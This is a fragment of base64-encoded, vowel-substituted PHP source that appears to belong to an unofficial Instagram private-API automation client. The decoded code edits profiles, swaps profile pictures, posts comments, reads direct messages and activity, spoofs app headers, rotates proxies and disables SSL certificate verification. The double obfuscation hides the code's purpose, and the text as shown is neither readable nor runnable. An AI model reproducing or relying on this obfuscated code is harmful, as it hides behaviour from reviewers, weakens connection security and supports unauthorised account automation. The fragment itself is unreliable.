gICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgiM3M1cnQxZ3MvJG01ZDQxSWQvcjVtMnY1LyIsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRNNWQ0MUluZjIoJG01ZDQxSWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdtNWQ0MV80ZCcgICA9PiAkbTVkNDFJZCwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoIm01ZDQxLyRtNWQ0MUlkLzRuZjIvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRCcjIxZGMxc3RJbmYyKCRicjIxZGMxc3RJZCkgew0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJsNHY1LyIgLiAkYnIyMWRjMXN0SWQgLiAiLzRuZjIvIilbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QnIyMWRjMXN0SDUxcnRiNTF0QW5kVjQ1dzVyQzIzbnQoJGJyMjFkYzFzdElkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJsNHY1LyIgLiAkYnIyMWRjMXN0SWQgLiAiL2g1MXJ0YjUxdF8xbmRfZzV0X3Y0NXc1cl9jMjNudC8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGQ1bDV0NU01ZDQxKCRtNWQ0MUlkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnbTVkNDFfNGQnICAgPT4gJG01ZDQxSWQsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJtNWQ0MS8kbTVkNDFJZC9kNWw1dDUvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGMybW01bnQoJG01ZDQxSWQsICRjMm1tNW50VDV4dCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnM3M1cl9icjUxZGNyM21iJyAgID0+IFV0NGxzOjpnNW41cjF0NVVzNXJCcjUxZGNyM21iKG1iX3N0cmw1bigkYzJtbTVudFQ1eHQpKSwNCiAgICAgICAgICAgICAgICAnNGQ1bXAydDVuYzVfdDJrNW4nID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSwNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgICAgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJ2MybW01bnRfdDV4dCcgICAgICA9PiAkYzJtbTVudFQ1eHQsDQogICAgICAgICAgICAgICAgJ2MybnQxNG41cm0yZDNsNScgICA9PiAnYzJtbTVudHNfZjU1ZF90NG01bDRuNScsDQogICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnICAgICAgICA9PiAndzRmNC1uMm41Jw0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgibTVkNDEvJG01ZDQxSWQvYzJtbTVudC8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZDVsNXQ1QzJtbTVudCgkbTVkNDFJZCwgJGMybW01bnRJZCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4NCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoIm01ZDQxLyRtNWQ0MUlkL2MybW01bnQvJGMybW01bnRJZC9kNWw1dDUvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBjaDFuZzVQcjJmNGw1UDRjdDNyNSgkcGgydDIpIHsNCiAgICAgICAgICAgIDRmKDRzX24zbGwoJHBoMnQyKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgIlBoMnQyIG4ydCB2MWw0ZFxuXG4iOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICRmNGw1VDJVcGwyMWQgPSBmNGw1X2c1dF9jMm50NW50cygkcGgydDIpOw0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCg0KICAgICAgICAgICAgJHI1cTM1c3RGNGw1cyA9IFsNCiAgICAgICAgICAgICAgICAicGgydDIiID0+IFsNCiAgICAgICAgICAgICAgICAgICAgImMybnQ1bnRzIiA9PiAkZjRsNVQyVXBsMjFkLA0KICAgICAgICAgICAgICAgICAgICAiZjRsNW4xbTUiID0+ICdwcjJmNGw1X3A0Yy5qcGcnLA0KICAgICAgICAgICAgICAgICAgICAiaDUxZDVycyIgID0+IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LXR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAgICAgICAgICAgICAnQzJudDVudC1UcjFuc2Y1ci1FbmMyZDRuZzogYjRuMXJ5Jw0KICAgICAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICAgICAgXQ0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRiMjNuZDFyeSAgICAgPSBVdDRsczo6ZzVuNXIxdDVNM2x0NHAxcnRCMjNuZDFyeSgpOw0KDQogICAgICAgICAgICAkNG5kNXggID0gVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KDFycjF5X201cmc1KCRyNXEzNXN0UDJzdHMsICRyNXEzNXN0RjRsNXMpKTsNCiAgICAgICAgICAgICRyNXMzbHQgPSAnJzsNCiAgICAgICAgICAgIGYycjUxY2goJDRuZDV4IDFzICRrNXkgPT4gJHYxbDM1KSB7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAnLS0nIC4gJGIyM25kMXJ5IC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgIDRmKCE0c3M1dCgkcjVxMzVzdEY0bDVzWyRrNXldKSkgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICdDMm50NW50LUQ0c3AyczR0NDJuOiBmMnJtLWQxdDE7IG4xbTU9IicgLiAkazV5IC4gJyInOw0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICJcclxuXHJcbiIgLiAkdjFsMzUgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJGY0bDUgPSAkcjVxMzVzdEY0bDVzWyRrNXldOw0KICAgICAgICAgICAgICAgICAgICA0Zig0c3M1dCgkZjRsNVsnYzJudDVudHMnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMm50NW50cyA9ICRmNGw1WydjMm50NW50cyddOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybnQ1bnRzID0gZjRsNV9nNXRfYzJudDVudHMoJGY0bDVbJ2Y0bDVwMXRoJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IGYycm0tZDF0MTsgbjFtNT0iJyAuICRrNXkgLiAnIjsgZjRsNW4xbTU9IicgLiAkZjRsNVsnZjRsNW4xbTUnXSAuICJcIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRmNGw1WydoNTFkNXJzJ10gMXMgJGg1MWQ1ck4xbTUgPT4gJGg1MWQ1clYxbDM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICRoNTFkNXJOMW01IC4gJzogJyAuICRoNTFkNXJWMWwzNSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICJcclxuIiAuICRjMm50NW50cyAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAgICAgM25zNXQoJGMybnQ1bnRzKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcjVzM2x0ICAgLj0gJy0tJyAuICRiMjNuZDFyeSAuICctLSc7DQogICAgICAgICAgICAkcDJzdEQxdDEgPSAkcjVzM2x0Ow0KDQogICAgICAgICAgICAkNW5kcDI0bnQgPSBDMm5zdDFudHM6OkFQSV9VUkwgLiAnMWNjMjNudHMvY2gxbmc1X3ByMmY0bDVfcDRjdDNyNS8nOw0KDQogICAgICAgICAgICAkaDUxZDVycyA9IFsNCiAgICAgICAgICAgICAgICAnQzJubjVjdDQybjogY2wyczUnLA0KICAgICAgICAgICAgICAgICdBY2M1cHQ6ICovKicsDQogICAgICAgICAgICAgICAgJ1gtSUctQzFwMWI0bDR0NDVzOiAnIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAnWC1JRy1BcHAtSUQ6ICcgLiBDMm5zdDFudHM6OkZBQ0VCT09LX0FOQUxZVElDU19BUFBMSUNBVElPTl9JRCwNCiAgICAgICAgICAgICAgICAnWC1JRy1DMm5uNWN0NDJuLVR5cDU6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzJubjVjdDQybl9UeXA1LA0KICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1TcDU1ZC1LQlBTOiAtNi4wMDAnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbEJ5dDVzLUI6IDAnLA0KICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAnLA0KICAgICAgICAgICAgICAgICdYLUZCLUhUVFAtRW5nNG41OiAnIC4gQzJuc3QxbnRzOjpYX0ZCX0hUVFBfRW5nNG41LA0KICAgICAgICAgICAgICAgICdBY2M1cHQtTDFuZzMxZzU6ICcgLiBDMm5zdDFudHM6OkFDQ0VQVF9MQU5HVUFHRQ0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRjaCAgICAgID0gYzNybF80bjR0KCk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAkNW5kcDI0bnQpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoNHMtPmQ1djRjNS0+ZzV0VXM1ckFnNW50KCkpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSEVBREVSLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9WRVJCT1NFLCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0VOQ09ESU5HLCAnJyk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGg1MWQ1cnMpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgJHRoNHMtPnM1dHQ0bmdzLT5nNXQoImMyMms0NSIpKTsNCiAgICAgICAgICAgIDRmKFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPj0gYSkgew0KICAgICAgICAgICAgICAgICQzczVyQXNucyA9IFV0NGxzOjpnNW41cjF0NUFzbnMoJHRoNHMtPnM1dHQ0bmdzLT5nNXQoSU5TVEFXRUJfQVNOU19LRVkpKTsNCiAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSU5URVJGQUNFIDogQ1VSTE9QVF9QUk9YWTsNCiAgICAgICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCAkMnB0NDJuSzV5LCAkM3M1ckFzbnNbMF0pOw0KICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbNl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lQUkVTT0xWRSA6IENVUkxPUFRfUFJPWFlVU0VSUFdEOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCAkMnB0NDJuSzV5LCAkM3M1ckFzbnNbNl0pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1QsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwMnN0RDF0MSk7DQoNCiAgICAgICAgICAgICRyNXNwICAgICAgID0gYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICAkaDUxZDVyX2w1biA9IGMzcmxfZzV0NG5mMigkY2gsIENVUkxJTkZPX0hFQURFUl9TSVpFKTsNCiAgICAgICAgICAgICRoNTFkNXIgICAgID0gczNic3RyKCRyNXNwLCAwLCAkaDUxZDVyX2w1bik7DQogICAgICAgICAgICAkM3BsMjFkICAgICA9IGpzMm5fZDVjMmQ1KHMzYnN0cigkcjVzcCwgJGg1MWQ1cl9sNW4pLCBUUlVFLCBpNmEsIEpTT05fQklHSU5UX0FTX1NUUklORyk7DQogICAgICAgICAgICAkdGg0cy0+MnJnMW40ejVDMjJrNDVzKCRoNTFkNXIpOw0KDQogICAgICAgICAgICBjM3JsX2NsMnM1KCRjaCk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkM3BsMjFkOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gcjVtMnY1UHIyZjRsNVA0Y3QzcjUoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL3I1bTJ2NV9wcjJmNGw1X3A0Y3QzcjUvJywgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIHM1dFByNHYxdDVBY2MyM250KCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCcxY2MyM250cy9zNXRfcHI0djF0NS8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0UDNibDRjQWNjMjNudCgpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnMWNjMjNudHMvczV0X3AzYmw0Yy8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QzNycjVudFVzNXIoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL2MzcnI1bnRfM3M1ci8/NWQ0dD10cjM1JywgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIDVkNHRQcjJmNGw1KCQzcmwsICRwaDJuNSwgJGY0cnN0X24xbTUsICRiNDJncjFwaHksICQ1bTE0bCwgJGc1bmQ1cikgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJzV4dDVybjFsXzNybCcgPT4gJDNybCwNCiAgICAgICAgICAgICAgICAncGgybjVfbjNtYjVyJyA9PiAkcGgybjUsDQogICAgICAgICAgICAgICAgJzNzNXJuMW01JyAgICAgPT4gJHRoNHMtPjNzNXJuMW01LA0KICAgICAgICAgICAgICAgICdmNHJzdF9uMW01JyAgID0+ICRmNHJzdF9uMW01LA0KICAgICAgICAgICAgICAgICdiNDJncjFwaHknICAgID0+ICRiNDJncjFwaHksDQogICAgICAgICAgICAgICAgJzVtMTRsJyAgICAgICAgPT4gJDVtMTRsLA0KICAgICAgICAgICAgICAgICdnNW5kNXInICAgICAgID0+ICRnNW5kNXIsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCcxY2MyM250cy81ZDR0X3ByMmY0bDUvJywgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFI1YzVudEFjdDR2NHR5KCRtMXg0ZCA9IE5VTEwpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zID0gW107DQogICAgICAgICAgICA0ZighNW1wdHkoJG0xeDRkKSkgew0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zWyJtMXhfNGQiXSA9ICRtMXg0ZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRwMXIxbUQxdDEgPSAhNW1wdHkoJHI1cTM1c3RQMXIxbXMpID8gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKSA6ICcnOw0KDQogICAgICAgICAgICAkMWN0NHY0dHkgPSAkdGg0cy0+cjVxMzVzdCgnbjV3cy80bmIyeC8nIC4gKCE1bXB0eSgkcDFyMW1EMXQxKSA/ICc/JyAuICRwMXIxbUQxdDEgOiAnJykpWzZdOw0KDQoNCiAgICAgICAgICAgIDRmKCQxY3Q0djR0eVsnc3QxdDNzJ10gIT0gJzJrJykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJDFjdDR2NHR5WydtNXNzMWc1J10gLiAiXG4iKTsNCg0KICAgICAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuICQxY3Q0djR0eTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRGMmxsMnc0bmdSNWM1bnRBY3Q0djR0eSgkbTF4NGQgPSBOVUxMKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFtdOw0KICAgICAgICAgICAgNGYoITVtcHR5KCRtMXg0ZCkpIHsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAxcjFtc1sibTF4XzRkIl0gPSAkbTF4NGQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcDFyMW1EMXQxID0gITVtcHR5KCRyNXEzNXN0UDFyMW1zKSA/IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSkgOiAnJzsNCg0KICAgICAgICAgICAgJDFjdDR2NHR5ID0gJHRoNHMtPnI1cTM1c3QoJ241d3MvJyAuICghNW1wdHkoJHAxcjFtRDF0MSkgPyAnPycgLiAkcDFyMW1EMXQxIDogJycpKVs2XTsNCg0KICAgICAgICAgICAgNGYoJDFjdDR2NHR5WydzdDF0M3MnXSAhPSAnMmsnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkMWN0NHY0dHlbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJDFjdDR2NHR5Ow0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0VmFJbmIyeCgpIHsNCiAgICAgICAgICAgICQ0bmIyeCA9ICR0aDRzLT5yNXEzNXN0KCdkNHI1Y3RfdmEvNG5iMngvJylbNl07DQoNCiAgI